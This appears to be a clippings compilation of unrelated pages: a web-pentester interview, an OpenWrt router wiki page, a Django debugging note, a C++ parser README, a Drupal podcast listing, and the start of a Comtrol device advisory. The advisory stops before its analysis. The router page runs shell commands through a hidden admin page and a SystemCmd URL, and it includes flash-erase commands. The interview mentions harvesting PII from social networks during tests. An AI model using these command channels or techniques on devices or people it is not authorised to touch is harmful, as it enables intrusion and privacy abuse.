perform quite well, IF you take the time to configure and build their rule
sets correctly. The biggest  
improvements would come from integration with development environments and
tools.

**You gave a presentation a few years ago on your projects and then ended in
some awesome  
advice about open source projects; can you instill that on our readers?**  
Have you been stalking me??? ;-\) What I have found over the years is that
lots of people want to  
help or offer help, but they then make the comment “I am not a developer so I
won’t be able to do  
much\!” What I tried to get across back then was that projects need tons of
different help,  
everything from coding to testing to documentation. Some of the most important
features or  
improvements in BASE and my other projects have come from someone that just
had an idea. The  
only way that OSS projects are successful, excepting things supported by
corporations, is by  
individuals getting past our inherent lazyness and helping out. Join the
developer mailing lists and  
start talking. Things just happen after that. \(But be prepared for the
addiction that follows\!\)

**What are your top 5 tools you use in webapp pentesting and what are some up-
and-coming  
on that list?**

W3af, w3af, w3af, w3af and w3af.

Seriously, I find w3af to be one of the best tools out there. Andres has done
incredible work and  
has built a team that continues to move the project forward.

Netcat is a close second, and anyone who remembers I work with Ed Skoudis
would know this  
answer was coming.

I quite often say that python is probably the most flexible web pen-testing
tool but people insist on  
calling it a programming language.

Burp Suite is also one of my favorite tools and it continues to improve. The
professional version is  
a requirement to anyone who wants to do this professionally.

BeEF is one of my favorite exploitation platforms. It is commonly part of my
presentations and  
job.

**Do you have any exciting tools or projects that you are currently working on
that you can give  
us preview on?  
**  
I have a couple tools I am working on around my research into social networks
and the problems  
they cause/increase. I am working on a presentation that I hope is accepted at
DEFCON this year.

The Laudanum project is also moving forward quite quickly and Frank DiMaggio,
Justin Searle and  
I are hoping it will be released at DEFCON.

**We’ve seen a lot on BeEF in your presentations, how is the development of
BeEF going? Is  
there a large community behind it? Do you leverage it in your everyday webapp
tests?**

Wade seems to be continuing the project quite well. He doesn’t have a huge
group but there are  
some people like Jabra that appear to be contributing regularly. Yokoso\!
includes a series of BeEF  
modules and I am hoping to clean up some code to contribute back to the
project.

**What resources would you point a pentester to for the large foray into
webapp hacking? We  
know that your webapp class is stellar, what about books, websites, software,
links, etc, that  
you could recommend to us?**

Of course I would recommend that everyone takes the SANS Sec542 class, but I
am biased. ;-\) I  
think that there are a number of places that people should look. The Web
Application Hackers  
Handbook was an excellent read as were AJAX Security by Billy Hoffman and XSS
by Jeremiah  
Grossman. As for software, w3af would be the starting point but anything
within SamuraiWTF is  
great. As for sites, the blogs of the people already mentioned as well as
ha/sla.ckers.org are  
wonderful. I personally also recommend twitter. I try to follow some of the
“luminaries” within  
the field and learn something new every day.

**Can you give us one of your back pocket pentesting tricks? Some Kevin-fu
perhaps?**

The biggest “trick” I have is the combination of tools and custom scripts. As
I look over previous  
tests and the things we have accomplished they all used a combination of tools
and scripts built  
upon the skewed perspective we approach every site with. For example, on one
site recently, we  
used a web interception proxy to determine all of the requests a flash object
was making and then  
crafted a simple python script to abuse this portion of the application. I
also regularly use social  
networks to gather information about the target and then combine that within
my attacks. We  
have been able to retrieve enormous amounts of PII and complete control of
various networks  
using the information users expose regarding themselves and their
organizations.

**How do you feel about alphabet soup these days other than SANS \(CISSP, CEH,  
OSCP, CPTS, NSA IAM/IEM, etc\)? Which credentials do you think hold up? What
about  
associated methodologies?**

“I love alphabet soup” says Kevin Johnson GCIA GCIH GCFA GWAS CISSP CEH IBM
CSE Inet+  
ad nauseum.

I think that certifications, including SANS/GIAC have a place within our
industry. I find that it  
depends on the person taking them and the person evaluating that person. Some
people think that  
certs are the be all end all, and I would say they are wrong. I personally use
my certs as a goal  
when I am trying to do something. For example, my GCFA was a point where I
wanted to  
formalize my understanding of forensics and its foundations. While I could
have just gotten some  
books and played with the tools we use, it helped focus my study to have a
measurable goal.

As to which will hold up, I am not sure. We all know that ISC2 and GIAC aren’t
going anywhere.  
And I am hoping that the GWAPT, GIAC’s new Web Pen-Testing cert will stand the
test of time.  
\(Of course I feel very strongly that it will\!\) As to the others, I think we
will see some of them stay  
around where others such as EC Council’s will disappear.

**A lot of readers want to know how you feel about the OWASP live CD, and how
would you  
leverage both it and SamuraiWTF in a webapp pentest?**

Now that’s a loaded question. ;-\) As the project lead for SamuraiWTF I think
it’s the best. The  
OWASP live CD has existed for a couple years now and when I formed the
SamuraiWTF project, it  
just didn’t seem to be an active project. Back then it seemed to be a summer
of code thing that  
wasn’t being worked any longer. Now it has picked back up and is actively
being worked. I think  
though, and of course I am biased, the SamuraiWTF project has a bit more
momentum. I would  
love to see the two projects work together since we have similar focuses but I
am not sure it would  
work since the base OS and the goals are different.

As to how would I use them both, bluntly I wouldn’t. Currently SamuraiWTF
includes all of the  
tools in the OWASP Live CD and many others. But more importantly then a tool
count, I am more  
comfortable within the SamuraiWTF environment, which makes sense since I have
focused on  
building it out based on my way of working and the methodology we teach within
Sec542.

**Anything you’d like to get of your chest or promote? Now’s the time\!**

Wow, that is an open-ended question…. There are a number of really cool things
going on right  
now. I am working with Frank DiMaggio on the social zombie projects, which are
as exciting as  
anything I have ever worked on. Tom Liston is doing some incredible work on
utilities that people  
can use. For example his CertGuard utility is being beta tested right now and
LaBrea Tarpit is still  
one of the best worm mitigation techniques around. Josh Wright has been
focusing on some  
incredible Zigbee stuff including some tools he has just released. Middler by
Justin Searle, Matt  
Carpenter, Tom Liston and Jay Beale is improving daily. All of this can be
seen at  
http://www.inguardians.com. Frank DiMaggio and I are working diligently on
research into

information disclosure within social networks and will be bundling all of it
into SocialButterfly. Of

course, I think I would be remiss if I didn’t at least mention that
InGuardians is available to do

security consulting and penetration testing for everyone. :-\)

I can be reached for questions at Kevin@inguardians.com and am on Twitter at
@secureideas

Rating: 5.0/**5** \(3 votes cast\)

# oldwiki:openwrtdocs:hardware:asus:wl500gp - OpenWrt Wiki

**Created:**| _12/10/2009 6:00:51 PM_  
---|---  
**Updated:**| _12/10/2009 6:01:11 PM_  
**Author:**| __  
**Tags:**| _Lab-Setup OpenWRT_  
  

## ASUS WL-500g Premium

Since Kamikaze 7.09 and target system Broadcom BCM947xx/953xx \[2.4 kernel\]
the ASUS WL-500g Premium is fully supported and runs stable. The Kamikaze 8.09
release appears to work fine too.

Important notice: there is a long standing bug that makes it impossible to do
port forwarding \(NAT\) with this router on 2.4 kernel, see
https://dev.openwrt.org/ticket/2558. Otherwise the router works great, if you
can live with the reduced functionality.

With a 2.6 kernel, wireless support is problematic. The supplied Broadcom
wireless miniPCI card requires the open source b43 driver. As of 2008 July 5,
that driver is not yet completely functional. It appears to work in STA mode
\(client mode\).

If you replace the Broadcom wirelss miniPCI card with an Atheros card, you can
run a 2.6 kernel, as long has it has SVN 9285.

| Target System| WiFi Support| Comments  
---|---|---|---  
| | Broadcom| Atheros|   
| Broadcom BCM947xx/953xx \[2.**4**\] | \(./\) | \(./\) |   
| Broadcom BCM947xx/953xx \[2.**6**\] | \{X\} | \(./\) | Random segfaults – Fixed in SVN 9285  
Anchor\(hardware\) Anchor\(Hardware\)

## Hardware

### Info

Architecture| MIPS  
---|---  
Vendor| Broadcom  
Bootloader| CFE  
System-On-Chip| Broadcom BCM94704  
CPU Speed| 266 Mhz  
Flash size| 8MiB \(Spansion S29GL064M90\)  
RAM| 32MiB \(2\* HY50U281622ETP-5, some older units have only 16MiB enabled\)  
Wireless| MiniPCI Broadcom 802.11b/g BCM4318 802.11 Wireless LAN Controller  
Ethernet| Robo switch BCM5325  
USB| 2x USB 2.0  
Serial| Yes  
JTAG| No  
Anchor\(serial\) Anchor\(Serial\)

### Wireless LAN Controller

The standard wireless LAN controller is the BCM4318 on a MiniPCI card. Some
people have replaced this with an Atheros MiniPCI card. The advantage is that
the Atheros card has an open source driver and is supported by the 2.6 kernel
version of OpenWrt. Atheros-based wireless cards that have been known to work
include the Wistron CM9 \(though some people say that signal quality is
poor\), and various Tp-Link cards such as the TL-WN560G \(signal quality
reported to be the same as with the original Broadcom controller\).

In order to replace the Broadcom controller with an Atheros one, open the case
\(instructions below\), carefully disconnect the antenna cable from the card,
press out the two latches on the sides, and pull the card out of the socket.
In some cases the card is glued to a supporting sponge on the main board, so
you might have to apply a certain measure of force to get it out. Re-assemble
the case, and install packages kmod-madwifi and hostapd-mini to get the new
wireless controller to work. Change your /etc/config/wireless to include the
following:

[code]

    config wifi-device  wifi0
            option type atheros
    config wifi-iface
            option device   wifi0
    
[/code]

Go here for more info and an example configuration.

After installation of kmod-madwifi package you can automatically generate a
standard /etc/config/wireless file for Atheros:

[code]

    rm -rf /etc/config/wireless
    wifi detect > /etc/config/wireless
    
[/code]

### Serial Port

Serial is located on pin soldering points \(ready for soldering of 8-pin
connector for use with detachable cable\) on the centre of the right upper
side \(viewing from front panel\) under ventilation holes. At right from these
points, you can see printed pin descriptions:

RESET |   
---|---  
GND | 3.3V\_OUT   
UART\_TX1 | UART\_TX0   
UART\_RX1 | UART\_RX0   
Pin 1 \(with the square solder pad\) is RX0.

These serial ports use TTL levels. You need an additional voltage convertor to
get a standard serial port. The parameters are 115200 baud and 8-n-1.

Anchor\(photos\) Anchor\(Photos\) Anchor\(pics\)

### Photos

IMG\_0007 \)  
With a Atheros Wistron CM9  
MiniPCI WiFi card

IMG\_3505 \)  
With a Gigabyte GN-WIAG02 \(168c:0013\)  
802.11abg MiniPCI WiFi card \(Atheros AR5212\) and 2nd antenna

### Opening the case

Remove the 4 nubs under the case, now you can see some screws. Unscrew them.
You're done. When you're finished you can put the rubbers back into the
gadgets. They'll stick alone.

## Original Firmware

### Backup

You can backup the original firmware with the hidden admin page. This requires
you to have a USB pen drive to copy the backup firmware file \(TRX\) of the
router.

  * To create the backup you need to put a small shell script on your USB pen drive. I name the script asus.sh. The shell script has only the following two lines: 

[code]

    #!/bin/sh
    dd if=/dev/mtdblock/1 > $1/first_config.trx
    
[/code]

  * Connect the USB pen drive to the lower USB port on the router 
  * Point your browser to the hidden admin page at http://192.168.1.1/Main\_AdmStatus\_Content.asp
  * In the System Command text field enter 'mount' and hit the Refresh button. Here you should see your USB pen drive's mount point. Something like: 

[code]

    /dev/discs/disc0/part1 on /tmp/harddisk/part0 type ext2 (rw,sync)
    
[/code]

  * Create the backup with 'sh /tmp/harddisk/part0/asus.sh /tmp/harddisk/part0'. Enter the command in the System Command text field and hit the Refresh button. This may take up to 10-15 seconds. 

_Note - some versions of this router limit the lenght of command input field
to 42 characters. To backup the firmware, use either a trick like 'cd
/t\*/h\*/\*0;./asus.sh /tmp/harddisk/part0', or for even longer commands pass
those directly in url \(using variable **SystemCmd**\), like
http://192.168.1.1/apply.cgi?current\_page=Main\_AdmStatus\_Content.asp&next\_page=Main\_AdmStatus\_Content.asp&next\_host=192.168.1.1&sid\_list=FirewallConfig%3B&group\_id=&modified=0&action\_mode=+Refresh+&first\_time=&action\_script=&preferred\_lang=EN&SystemCmd=ls&action=Refresh_

  * You can enter in the System Command text field 'ls -l  _'_ '/tmp/harddisk/part0' and see your first\_config.trx file. 
  * Remove the USB pen drive and check on your PC if the first\_config.trx file is there 

### Restore

To restore the original ASUS firmware you have three options:

  * TFTP 
  * mtd \(from the OpenWrt console\) 
  * ASUS firmware restoration tool \(Windows only\) 

Anchor\(install\) Anchor\(Install\) Anchor\(installation\)
Anchor\(Installation\)

## Installation

If the TFTP part fails, you can try the installation with the ASUS firmware
restoration tool \(Windows only\).

You can download official 7.09 images or build the images by yourself using
the build-system.

### Using the ASUS web GUI

Does not work yet. The TRX utility needs a rewrite \(Sep. 1st 2007, confirmed
by nbd on IRC\).

The ASUS GUI requires a trailer to be added to the .trx file \(similar to the
way other firmwares require headers\). The rather simple structure can be
inferred from work done for the FreeWRT project
http://osdir.com/ml/embedded.freewrt.cvs/2006-09/msg00226.html

Anchor\(diag\) Anchor\(Diag\)

### Using diag mode

To install OpenWrt using TFTP or the ASUS firmware restoration tool you have
to put the router in diag mode. To put the router in the diag mode, do this:

  * Unplug the router's power cord. 
  * Confirm your PC is configured to request an address via DHCP. 
  * Connect the router's LAN1 port directly to your PC. 
  * Push the black RESTORE button using a pen or such, and keep the button pushed down. 
  * Plug the power on while keeping the RESTORE button pushed for few seconds. 
  * When you see a slowly blinking power light, you are in diag mode. 
  * Now the router should accept an image via TFTP or via the ASUS firmware restoration tool. 

Anchor\(tftp\) Anchor\(TFTP\)

In diag mode, the router takes address 192.168.1.1. It responds to ping, so
you can confirm that it is in diag mode and ready for the tftp by using "ping
192.168.1.1".

Note: I used the Asus tool to reflash the orginal asus firmware over kamikaze
7.09. In diag mode the asus kept the IP address assigned to it in kamikaze,
which was not 192.168.1.1. The asus firmware restoration tool worked even
though the asus in diag mode did not assign my PC an IP via DHCP and even
though I could not ping the asus at 192.168.1.1. I had to use
ethereal/wireshark to monitor traffic on LAN1 to figure out what I had set the
IP address to. Then, using the proper IP address I could access the stock Asus
web pages to use the "Reset to Factory Default" function and restore all
settings to factory state.

#### TFTP

It is possible to install OpenWrt using a TFTP client when the router is in
diag mode.

  * Execute the TFTP commands below: 

[code]

    tftp 192.168.1.1
    tftp> binary
    tftp> trace
    tftp> put openwrt-brcm-2.4-squashfs.trx
    
[/code]

  * After the TFTP upload is complete, wait at least six minutes. The firmware is first loaded into the RAM, and then flashed. This process takes a little time, and to ensure that the router is not bricked you should wait six minutes. 
  * The router will reboot itself automatically after the upgrade is complete. Rebooting may take a while. It might be the case that the router does not reboot by itself; if this happens it should be safe to wait for the period mentioned and then to do a manual reboot \(pull the power-cord\). 
  * You are done\! You should be able to telnet to your router \(IP address: 192.168.1.1\) and start configuring. 

**NOTES:**

  * Netkit's tftp doesn't work quite often; use atftp. 
  * After TFTP upload is complete, DON'T reboot \(replug\) too early\! It might brick your router. 
  * The ASUS WL-500g Premium does not revert to the 192.168.1.1 address when starting the CFE bootloader, but uses the LAN IP address set in NVRAM. Try this address if you have difficulties. 

Anchor\(restore\) Anchor\(Restore\) Anchor\(restoration\)
Anchor\(Restoration\)

**If you have problems to flash a brand new Asus WL500gP. \(Asus restoration
tool fails or no tftp prompt\) You can try this…**

  * Download the .trx firmware. 
  * Open a command prompt and 'cd' to the directory where you downloaded the firmware \(.trx file\). 
  * Type 'tftp -i 192.168.1.1 PUT .trx' but DO NOT HIT ENTER\! 
  * Unplug the power to the router. 
  * Hold down the reset/restore button while reconnecting the power. Wait until the power light starts blinking before releasing the reset/restore button. 
  * Hit enter in your command prompt window \(to run 'tftp -i 192.168.1.1 PUT .trx'\). 
  * Wait 15-30 seconds for the image to upload. If you receive a TFTP timeout message start the process over again 
  * Wait 4-5 minutes and power cycle the router. 

#### ASUS firmware restoration tool \(Windows only\)

If you are on Windows it is recommended to use the ASUS firmware restoration
tool to install OpenWrt. The ASUS firmware restoration tool can be found on
the CD. Make sure the router is in diag mode.

  * Browse the .trx file \(openwrt-brcm-2.4-squashfs.trx\). 
  * Press Upload. The router will reboot itself automatically after the upgrade is complete. Rebooting may take a while. 
  * You are done\! You should be able to telnet to your router \(IP address: 192.168.1.1\) and start configuring. 

If the firmware restoration tool can't seem find your router even though you
are certain that it is in diag mode, it may be because the restoration tool is
not very smart about which network interface to use. Disable all network
interfaces except for the correct \(LAN\) network interface and try again.

### Using the mtd command line tool

If you have already installed OpenWrt or like to flash from any other firmware
\(which has the mtd tool\), do this:

[code]

    cd /tmp/
    wget http://downloads.openwrt.org/kamikaze/7.09/brcm-2.4/openwrt-brcm-2.4-squashfs.trx
    mtd write openwrt-brcm-2.4-squashfs.trx linux && reboot
    
[/code]

Anchor\(config\) Anchor\(Config\)

## ASUS WL-500g Premium specific configuration

### Interfaces

The default network configuration is:

Interface Name| Description| Default configuration  
---|---|---  
br-lan | LAN & WiFi | 192.168.1.1/24   
vlan0 | LAN ports \(1 to 4\) |   
vlan1 | WAN port | DHCP  
wl0/ath0 | WiFi | Disabled by default   
LAN and WiFi is bridged to br-lan. WiFi is disabled by default for security
reasons \(to prevent an open access point\).

Anchor\(failsafe\) Anchor\(Failsafe\)

### Failsafe mode

If you forgot your password, broken one of the startup scripts, firewalled
yourself or corrupted the JFFS2 partition, you can get back in by using
OpenWrt's failsafe mode.

#### Boot into failsafe mode

  * Unplug the router's power cord. 
  * Connect the router's LAN1 port directly to your PC. 
  * Configure your PC with a static IP address between 192.168.1.2 and 192.168.1.254. E. g. 192.168.1.2 \(gateway and DNS is not required\). 
  * Plug the power on and wait for the power LED to switch off 
  * While the power LED is off press any button \(RESTORE and EZSETUP will work\) a few times 
  * Power LED goes fast-blinking \(about 1 time per second\) 
  * You should be able to telnet to the router at 192.168.1.1 now \(no username and password\) 

#### What to do in failsafe mode?

**NOTE:** The root file system in failsafe mode is the SquashFS partition
mounted in readonly mode. To switch to the normal writable root file system
run mount\_root and make any changes. Run mount\_root now.

  1. Forgot/lost your password and you like to set a new one 

passwd

  1. Forgot the routers IP address 

uci get network.lan.ipaddr

  1. You accidentally run 'ipkg upgrade' or filled up the flash by installing to big packages \(clean the JFFS2 partition and start over\) 

mtd -r erase rootfs\_data If you are done with failsafe mode power cycle the
router and boot in normal mode.

Anchor\(Buttons\) Anchor\(buttons\)

### Buttons

The ASUS WL-500g Premium has two buttons. They are RESTORE and EZSETUP. The
buttons can be used with hotplug events. E. g. \[\#wifitoggle WiFi toggle\].

BUTTON| Event  
---|---  
RESTORE | reset   
EZSETUP | ses   
ACTION: released or pressed

### Enabling all RAM

On newer ASUS WL-500g Premium router's all RAM is enabled by default. If you look at "dmesg | grep Memory" command's output, you will probably see that there's only 16MiB of RAM. Specs says there should be 32MiB. To enable 32MiB change the sdram\_init and sdram\_ncdl NVRAM variables as showed: 
[code]

    nvram set sdram_init=0x0009
    nvram set sdram_ncdl=0x10308
    nvram commit
    reboot
    
    
[/code]

## Basic configuration

### PPPoE

With Kamikaze 7.09 PPPoE works out-of-the-box. All required packages are
already installed in the default image. To configure PPPoE with UCI, do this:

[code]

    uci set network.wan.proto=pppoe
    uci set network.wan.username=
    uci set network.wan.password=
    uci commit network && ifup wan
    
[/code]

### QoS

Install the qos-scripts package

[code]

    ipkg install qos-scripts
    
    
[/code]

Basic QoS configuration using UCI:

[code]

    uci set qos.wan.upload=192            # Upload speed in KB
    uci set qos.wan.download=2048         # Download speed in KB
    uci commit qos
    
[/code]

Start QoS and enable on next boot

[code]

    /etc/init.d/qos boot
    /etc/init.d/qos start
    /etc/init.d/qos enable
    
    
[/code]

### Dynamic DNS

Please see Dynamic DNS.

### WiFi

#### Enable WiFi

##### Broadcom WiFi

[code]

    uci set wireless.wl0.disabled=0
    uci commit wireless && wifi
    
[/code]

##### Atheros WiFi

[code]

    uci set wireless.wifi0.disabled=0
    uci commit wireless && wifi
    
[/code]

Anchor\(wpa\) Anchor\(WPA\) Set TX Antenna and RX Antenna to 2 to get better
signal quality with 1 original antenna.

#### WiFi encryption

Plese see OpenWrtDocs/KamikazeConfiguration/WiFiEncryption.

Anchor\(WiFi toggle\) Anchor\(wifitoggle\)

#### WiFi toggle

Turn WiFi on/off with the EZSETUP or RESTORE \[\#Buttons button\]. Please see
the WiFi toggle Wiki page.

Anchor\(usb\) Anchor\(USB\)

### USB

USB is supported and needs a few extra packages to be installed to work
probably. USB hubs are working. Active hubs with external power supply are
better.

#### USB 1.1

[code]

    ipkg install kmod-usb-uhci-iv
    
[/code]

#### USB 2.0

[code]

    ipkg install kmod-usb2
    
[/code]

### Print Server

Please see the PrinterSharingHowto.

### Webcam with the Linux UVC driver

Below works to configure and use a Logitech Quickcam Pro for Notebooks
\(2007\) webcam. Tested with trunk.

[code]

    ipkg install kmod-video-uvc kmod-usb2 uvc-streamer
    
[/code]

A UCI configuration file and init script for the uvc-streamer:

/etc/config/uvc-streamer

[code]

    config uvc-streamer
            option device          '/dev/video0'
            option resolution      '640x480'
            option framespersecond '5'
            option port            '8080'
            option enabled         '1'
    
[/code]

/etc/init.d/uvc-streamer

[code]

    #!/bin/sh /etc/rc.common
    # Copyright (C) 2007 OpenWrt.org
    START=50
    SSD=start-stop-daemon
    NAME=uvc_stream
    PIDF=/var/run/$NAME.pid
    PROG=/sbin/$NAME
    append_bool() {
            local section="$1"
            local option="$2"
            local value="$3"
            local _val
            config_get_bool _val "$section" "$option" '0'
            [ "$_val" -gt 0 ] && append args "$3"
    }
    append_string() {
            local section="$1"
            local option="$2"
            local value="$3"
            local _val
            config_get _val "$section" "$option"
            [ -n "$_val" ] && append args "$3 $_val"
    }
    start_service() {
            local section="$1"
            args=""
            append_string "$section" device "-d"
            append_string "$section" resolution "-r"
            append_bool "$section" framespersecond "-f"
            append_string "$section" port "-p"
            config_get_bool "enabled" "$section" "enabled" '1'
            [ "$enabled" -gt 0 ] && $SSD -S -p $PIDF -q -x $PROG -- -b $args
    }
    stop_service() {
            killall $NAME 2>&1 > /dev/null
            # FIXME: Fix Busybox start-stop-daemon to work with multiple PIDs
            # $SSD -K -p $PIDF -q
    }
    start() {
            config_load "uvc-streamer"
            config_foreach start_service "uvc-streamer"
    }
    stop() {
            config_load "uvc-streamer"
            config_foreach stop_service "uvc-streamer"
    }
    
    
[/code]

Make the init script executable

[code]

    chmod a+x /etc/init.d/uvc-streamer
    
[/code]

Make changes to the config file if needed.

Start uvc-streamer

[code]

    /etc/init.d/uvc-streamer start
    
[/code]

To activate uvc-streamer on next boot

[code]

    /etc/init.d/uvc-streamer enable
    
[/code]

Now open the URL http://192.168.1.1:8080/ in the Firefox browser or VLC and
watch the MJPEG stream. Also seewebcampage in the wiki if your webcam needs
other drivers.

### Turn your router into a networked music player

Work in progress. Please see the UsbAudioHowto.

A German description, how to turn your asus into an music player:
http://neophob.com/serendipity/index.php?/archives/149-Diplomarbeit-Embedded-
Linux-German.html

Anchor\(2.6\)

## Trunk with Kernel 2.6

**P:** The line  _b44: eth1: BUG\! Timeout waiting for bit 80000000 of
register 428 to clear._ may appear in log.

**S:** As written in http://forum.openwrt.org/viewtopic.php?pid=29017 this can
be fixed by editing /etc/init.d/S10boot

**P:** USB 1.1 devices are not recognized, USB 2.0 devices like harddrives
etc. work perfectly. How come?

**S:** The WL-500gP ehci-hcd module handles all USB2 transfer well, but the
external ports use uhci-hcd for usb1. To make it even worse, the current trunk
version has issues with this module to load but it can be fixed as described
in the forum http://forum.openwrt.org/viewtopic.php?id=7149. The Broadcom chip
seems to have a "buried" ohci controller that can not be used with the
external connectors.

**P:** The binary-only Broadcom wireless driver won't work with 2.6

**S1:** You can transplant an Atheros miniPCI card and use the Atheros driver.

**S2:** You can use the open source b43 Broadcom driver but it isn't yet
completely functional. STA mode is thought to work.
Seehttps://dev.openwrt.org/ticket/2677

## ASUS WL-500g Premium info

  * FCC ID: MSQWL500GP FCC pictures
  * Review of the 500gP \(pictures starting on page 3\)
  * HardwareAcceleratedCrypto

—-

  * Anchor\(links\)
  * Anchor\(Links\)

## External Links

### Tutorials

  * RAM Upgrade
  * Adding a Bluetooth PAN by Marcus Brown 
  * Example configuration for the Atheros MiniPCI card on wl-500gP \(translated from Russian\) and The original Russian text
  * Setting up WDS/PSK2 on two Asus WL-500gP by Simon Josefsson 
  * Using Huawei E220 with Asus WL-500gP by Simon Josefsson 

### Product Info Pages

  * ASUS WL-500g Premium
  * Broadcom BCM94704 Reference SoC
  * Broadcom BCM5325 Ethernet Switch
  * Spansion S29GL064M90 Flash Memory Module
  * Hynix HY5DU281622ETP-K SDRAM Datasheet
  * VIA Vectro VT6212L USB 2.0 Host Controller
  * Delta Electronics LF8731 Ethernet PHY Datasheet
  * Delta Electronics LF8505 Ethernet PHY Datasheet

### Forum Threads

  * Dedicated Forum
  * Problems with WLAN encryption
  * CPU Power
  * OpenWRT compatibility information
  * How-to configure WAN-interface

—-

# Using Wing IDE with Django - Wingware Python IDE

**Created:**| _1/12/2010 7:54:01 PM_  
---|---  
**Updated:**| _1/12/2010 7:54:09 PM_  
**Author:**| __  
**Tags:**| _python Django_  
  

### Launching from Wing

When Django is launched from Wing, it must be configured to avoid auto-reload
and other options that break the debugger.

Newer versions of Django include a `--noreload` option that you can pass to
the `manage.py` or `django-admin.py` scripts to turn off the auto restart
feature of Django.

The typical way to do all this is to set the `manage.py` file as the primary
debug file in Wing and give it the following `Run Arguments` via the Debug
properties tab in the `FileProperties` dialog:

[code]

    runserver --noreload
    
    
[/code]

Other options can be added here as necessary for your application.

Some versions of Django may also require adding `--settings=devsettings` to
the arguments for `runserver`, in order for debugging to work. If Wing is not
be able to stop on any breakpoints, try adding this.

In older versions of Django, the `--noreload` option does not exist. The only
way to solve the problem there is to make a modification to the code to
prevent launching of a sub-process, or to use the alternative method described
below.

# Slides

**Created:**| _1/9/2012 3:10:10 PM_  
---|---  
**Updated:**| _1/9/2012 3:10:10 PM_  
**Author:**| __  
**Tags:**| _DSP Gnuradio_  
  
<img src='img/Temp2_7566.png' />file:///home/wishi/source/p25/slides/s.html

# axw/cmonster

**Created:**| _4/7/2012 11:16:46 AM_  
---|---  
**Updated:**| _4/7/2012 11:16:46 AM_  
**Author:**| __  
**Tags:**| _python static llvm_  
  

# cmonster

cmonster is a Python wrapper for the Clang C++ parser.

As well as providing standard preprocessing/parsing capabilities, cmonster
adds support for:

  * Inline Python macros;
  * Programmatic \#include handling; and
  * \(Currently rudimentary\) source-to-source translation.

## Documentation

There's no proper documentation yet; I'll get to it eventually. In the mean
time...

### Inline Python macros

You can define inline Python macros like so:

[code]

    py_def(function_name(arg1, arg2, *args, **kwdargs))
        return [list_of_tokens]
    py_end
    
[/code]

Python macros must return a string, which will be tokenized, or a sequence of
tokens \(e.g. some combination of the input arguments\). Python macros are
used exactly the same as ordinary macros. e.g.

[code]

    py_def(REVERSED(token))
        return "".join(reversed(str(token)))
    py_end
    
[/code]

[code]

    int main() {
        printf("%s\n", REVERSED("Hello, World!"));
        return 0;
    }
    
[/code]

### Source-to-source translation

Source-to-source translation involves parsing a C++ file, generating an AST;
then traversing the AST, and making modifications in a _rewriter_. The
rewriter object maintains a history of changes, and can eventually be told to
dump the modified file to a stream.

For example, here's a snippet of Python code that shows how to make an
insertion at the top of each top-level function declaration's body:

[code]

    import cmonster
    import cmonster.ast
    import sys
    
    # Create a parser, and a rewriter. Parse the code.
    parser = cmonster.Parser(filename)
    ast = parser.parse()
    rewriter = cmonster.Rewriter(ast)
    
    # For each top-level function declaration, insert a statement at the top of
    # its body.
    for decl in ast.translation_unit.declarations:
        if decl.location.in_main_file and \
           isinstance(decl, cmonster.ast.FunctionDecl):
            insertion_loc = decl.body[0]
            rewriter.insert(insertion_loc, 'printf("Tada!\\n");\n')
    
    # Finally, dump the result.
    rewriter.dump(sys.stdout)
    
[/code]

## Installation

cmonster requires Python 3.2, LLVM/Clang 3.0, so first ensure you have them
installed. To build and install cmonster from source, you will also need to
install Cython.

Now you can use easy\_install to install cmonster, like so: `easy_install
cmonster`. This will download and install a prebuilt binary distribution of
cmonster.

If you wish to build cmonster yourself, either pull down the git repository,
or grab the source distribution from cmonster's PyPI page. When building, make
sure you have LLVM 3.0's llvm-config in your execution path. To verify this,
run `llvm-config --version`; you should expect to see `3.0` output. To build
from source, simply run `python3.2 setup.py install`.

# CRE103 Drupal - Chaosradio Podcast Network

**Created:**| _5/9/2009 12:17:44 PM_  
---|---  
**Updated:**| _5/9/2009 12:17:56 PM_  
**Author:**| __  
**Tags:**| _Drupal_  
  

# Drupal

Ein praktischer Blick auf das modulare Content Management System

  
Veröffentlicht am: 17.01.2009, 17:40 Uhr  
Aufnahme vom: 12.01.2009  

Teilnehmer: Tim Pritlove \(Moderation\), Kaspar Metz

<img src='img/Temp2_1291.png' />Direkter Download der Mediendatei  
  
Dateigröße: 63.8 MB  
Format: MPEG-1 Audio Layer III Audio  
Dauer: 01:32:51h  
  
  
---  
Drupal ist eines der weiter verbreiteten Content Management Systeme und
basiert wie viele andere auch auf PHP. Im Gespräch mt Tim Pritlove bietet
Kaspar Metz einen Einblick in Eigenschaften, Vor- und Nachteile von Drupal.

Themen sind: Herkunft und Konzept von Drupal, Content Types \(Nodes\),
Metadaten für Content Types, Installation einer neuen Drupal-Site,
Unterschiede zwischen den Major-Releases, Multi-Site-Fähigkeit, Themes und
Templates, Module und Blocks, Regions, das Content Construction Kit, Benutzer
und Gruppen, das Rollensystem von Drupal, Mehrsprachigkeit von Websites,
Workflows, Shopsysteme mit Drupal, URL Design, Hook

Links:

  * Kaspar Metz
  * WP: Drupal
  * Drupal Community Site
  * WP: PHP
  * WP: LAMP
  * WP: Typo3
  * WP: Mambo
  * WordPress
  * Dries Buytaert
  * WP: Internetforum
  * WP: Ajax
  * Apache HTTP Server
  * WP: Concurrent Versions System
  * WP: Maintainer
  * Drupal: Garland, the new default core theme
  * Zen Theme
  * Kubrick Theme for WordPress
  * Lullabot Podcasts
  * twit.tv
  * Content Construction Kit \(CCK\)
  * Drupal Modules
  * Wordpress.com
  * Project Blinkenlights
  * Community Site Free Software Africa
  * Modul: UberCart
  * Modul: Pathauto
  * Modul: Views
  * Drupal User Group Berlin
  * FOSDEM
  * Drupal API

# SSD Advisory – Comtrol RTS Configuration Modification and Memory Corruption | SecuriTeam Blogs
**Created:**| _7/15/2015 1:34:38 PM_  
---|---  
**Updated:**| _7/15/2015 1:34:38 PM_  
**Author:**| __  
**Tags:**| _hardware_  
  

**SecuriTeam Secure Disclosure**

SecuriTeam Secure Disclosure \(SSD\) provides the support you need to turn
your experience uncovering security vulnerabilities into a highly paid career.
SSD was designed by researchers for researchers and will give you the fast
response and great support you need to make top dollar for your discoveries.

**Introduction**

The DeviceMaster RTS family of serial device servers enables browser-based
remote port/device monitoring and configuration and provides an application
software platform for local processing. The DeviceMaster RTS product is a
network-attached solid-state embedded device server network serial port that
delivers exceptional price, performance and reliability.

**Vulnerability Details**

The Comtrol DeviceMaster RTS DB9M 2-Port 1E fails to protect several key
resources related to configuration and operations by default. Combining that
failure with a memory corruption vulnerability, at least exploitable to cause
a device denial-of-service, a user can remotely modify the configuration of
the device and force the operator to reboot the device in order to resume
normal operations, forcing the arbitrary changes to take effect.

**Analysis**

